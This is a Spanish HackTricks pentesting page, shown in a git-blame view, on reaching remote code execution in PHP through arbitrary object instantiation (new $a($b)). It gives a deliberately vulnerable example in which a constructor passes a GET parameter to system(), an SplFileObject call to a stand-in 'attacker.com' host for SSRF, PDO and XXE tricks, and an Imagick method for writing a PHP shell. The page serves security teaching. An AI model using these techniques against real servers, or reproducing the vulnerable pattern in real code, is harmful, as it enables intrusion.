hacktricks/network-services-pentesting/pentesting-web/php-tricks-esp/php-rce-abusing-object-creation-new-usd_get-a-usd_get-b.md

147 lines
8.3 KiB
Markdown
Raw Normal View History

2023-06-05 18:33:24 +00:00
# PHP - RCE abusando de la creación de objetos: new $\_GET\["a"]\($\_GET\["b"])
<details>
<summary><strong>Aprende hacking en AWS de cero a héroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
2023-06-05 18:33:24 +00:00
Otras formas de apoyar a HackTricks:
2023-06-05 18:33:24 +00:00
* Si quieres ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF**, consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
* Consigue el [**merchandising oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sigue** a **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
* **Comparte tus trucos de hacking enviando PRs a los repositorios de github** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
2023-06-05 18:33:24 +00:00
</details>
## Introducción
En la situación donde puedes crear un nuevo objeto arbitrario como `new $_GET["a"]($_GET["a"])` podrías ser capaz de obtener RCE, y [**este writeup**](https://swarm.ptsecurity.com/exploiting-arbitrary-object-instantiations/) expone diferentes maneras de conseguir RCE.
2023-06-05 18:33:24 +00:00
## RCE a través de Clases Personalizadas o Autocarga
2023-06-05 18:33:24 +00:00
En la construcción `new $a($b)`, la **variable `$a` representa el nombre de la clase** para la cual se creará el objeto, y la variable **`$b` representa el primer argumento** que se pasará al constructor del objeto.
2023-06-05 18:33:24 +00:00
Si `$a` y `$b` provienen de GET/POST, pueden ser **cadenas de texto o arrays de cadenas**. Si provienen de **JSON** u otra fuente, **podrían tener otros tipos**, como objeto o booleano.
2023-06-05 18:33:24 +00:00
Consideremos el siguiente ejemplo:
```php
class App {
function __construct ($cmd) {
system($cmd);
}
2023-06-05 18:33:24 +00:00
}
# Additionally, in PHP < 8.0 a constructor might be defined using the name of the class
class App2 {
function App2 ($cmd) {
system($cmd);
}
2023-06-05 18:33:24 +00:00
}
# Vulnerable code
$a = $_GET['a'];
$b = $_GET['b'];
new $a($b);
```
En este código, puedes establecer `$a` a `App` o `App2` y `$b` a `uname -a`. Después de esto, el comando `uname -a` será ejecutado.
2023-06-05 18:33:24 +00:00
Cuando no hay clases explotables en tu aplicación, o tienes la clase necesaria en un archivo separado que no está incluido por el código vulnerable, puedes echar un vistazo a las funciones de autocarga.
2023-06-05 18:33:24 +00:00
**Las funciones de autocarga** se establecen registrando callbacks a través de `spl_autoload_register` o definiendo `__autoload`. Se llaman cuando se intenta crear una instancia de una clase desconocida.
2023-06-05 18:33:24 +00:00
```php
# An example of an autoloading function
spl_autoload_register(function ($class_name) {
include './../classes/' . $class_name . '.php';
2023-06-05 18:33:24 +00:00
});
# An example of an autoloading function, works only in PHP < 8.0
function __autoload($class_name) {
include $class_name . '.php';
2023-06-05 18:33:24 +00:00
};
# Calling spl_autoload_register with no arguments enables the default autoloading function, which includes lowercase($classname) + .php/.inc from include_path
spl_autoload_register();
```
Dependiendo de la versión de PHP y del código en las funciones de autocarga, pueden existir algunas maneras de obtener una Ejecución de Código Remoto a través de la autocarga.
2023-06-05 18:33:24 +00:00
## RCE a través de Clases Incorporadas
2023-06-05 18:33:24 +00:00
Cuando no tienes clases personalizadas y autocarga, puedes depender **únicamente de las clases incorporadas de PHP**.
2023-06-05 18:33:24 +00:00
Hay de 100 a 200 clases incorporadas en PHP. El número de ellas depende de la versión de PHP y de las extensiones instaladas. Todas las clases incorporadas se pueden listar a través de la función `get_declared_classes`, junto con las clases personalizadas:
2023-06-05 18:33:24 +00:00
```php
var_dump(get_declared_classes());
```
Las clases con constructores útiles se pueden encontrar a través de [la API de reflexión](https://www.php.net/manual/es/book.reflection.php).
2023-06-05 18:33:24 +00:00
Mostrando constructores y sus parámetros utilizando la API de reflexión: [https://3v4l.org/2JEGF](https://3v4l.org/2JEGF)
2023-06-05 18:33:24 +00:00
![](https://swarm.ptsecurity.com/wp-content/uploads/2022/07/2.png)
Si controlas **múltiples parámetros del constructor y puedes llamar a métodos arbitrarios** después, hay muchas maneras de obtener una Ejecución de Código Remoto. Pero si puedes pasar **solo un parámetro y no tienes ninguna llamada** al objeto creado, hay **casi nada**.
2023-06-05 18:33:24 +00:00
Solo conozco tres maneras de obtener algo de `new $a($b)`.
2023-06-05 18:33:24 +00:00
### **SSRF + Deserialización de Phar**
2023-06-05 18:33:24 +00:00
La clase `SplFileObject` implementa un constructor que permite la conexión a cualquier URL local o remota:
```
new SplFileObject('http://attacker.com/');
```
Esto permite SSRF. Además, los SSRF en PHP < 8.0 podrían convertirse en deserializaciones mediante técnicas con el protocolo Phar.
2023-06-05 18:33:24 +00:00
### **Explotando PDOs**
La clase PDO tiene otro constructor interesante:
```php
new PDO("sqlite:/tmp/test.txt")
```
El constructor `PDO` acepta cadenas DSN, lo que nos permite **conectarnos a cualquier base de datos local o remota** utilizando **extensiones de base de datos instaladas**. Por ejemplo, la extensión SQLite puede crear archivos vacíos.
2023-06-05 18:33:24 +00:00
### **SoapClient/SimpleXMLElement XXE**
En PHP ≤ 5.3.22 y ≤ 5.4.12, el constructor de SoapClient era **vulnerable a XXE**. El constructor de SimpleXMLElement también era vulnerable a XXE, pero requería libxml2 < 2.9.
## RCE a través de la Extensión Imagick
2023-06-05 18:33:24 +00:00
Revisando las **dependencias** del **proyecto** que estás intentando explotar podrías encontrar **nuevas clases** que podrían ser **abusadas para ejecutar comandos** creando un nuevo objeto. En este caso, se descubrió que **Imagick** era útil para ese propósito.
2023-06-05 18:33:24 +00:00
### Analizador VID
El analizador VID permite escribir contenido arbitrario en una ruta arbitraria dentro del sistema de archivos, lo que permitiría a un atacante escribir un PHPshell en una carpeta accesible desde la página web y obtener RCE.
![](<../../../.gitbook/assets/image (157) (3).png>)
#### Analizador VID + Carga de Archivos
2023-06-05 18:33:24 +00:00
Cuando se carga un archivo a PHP, se almacena temporalmente en `/tmp/phpXXXXXX`. El analizador VID de Imagick con el protocolo **msl** permite **especificar comodines en las rutas de archivos** (para que el archivo cargado temporalmente se pueda acceder fácilmente) y **copiarlo a cualquier ubicación arbitraria**.\
2023-06-05 18:33:24 +00:00
Esta es otra forma de obtener escritura de archivos arbitraria dentro del sistema de archivos:
![](<../../../.gitbook/assets/image (159).png>)
### Caída de PHP + Fuerza Bruta
2023-06-05 18:33:24 +00:00
El [**artículo original**](https://swarm.ptsecurity.com/exploiting-arbitrary-object-instantiations/) explicó otra forma de obtener RCE **cargando archivos con contenido específico** y haciendo que el **servidor se caiga antes de que elimine** ese archivo y luego **fuerza bruta en el nombre** del archivo temporal hasta que **Imagick ejecute código PHP arbitrario**.
2023-06-05 18:33:24 +00:00
Sin embargo, aparentemente el **truco de la caída** solo **funcionaba en una versión antigua de ImageMagick**.
2023-06-05 18:33:24 +00:00
## Referencias
* [https://swarm.ptsecurity.com/exploiting-arbitrary-object-instantiations/](https://swarm.ptsecurity.com/exploiting-arbitrary-object-instantiations/)
<details>
<summary><strong>Aprende hacking en AWS de cero a héroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
2023-06-05 18:33:24 +00:00
Otras formas de apoyar a HackTricks:
2023-06-05 18:33:24 +00:00
* Si quieres ver a tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
* Consigue el [**merchandising oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
* **Comparte tus trucos de hacking enviando PRs a los repositorios de GitHub** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
2023-06-05 18:33:24 +00:00
</details>